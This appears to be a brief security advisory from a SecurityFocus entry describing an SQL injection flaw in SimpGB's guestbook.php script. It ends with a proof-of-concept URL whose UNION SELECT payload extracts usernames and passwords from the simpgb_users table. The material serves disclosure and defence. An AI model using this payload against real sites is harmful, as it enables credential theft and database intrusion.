source: https://www.securityfocus.com/bid/12801/info

SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it in a SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201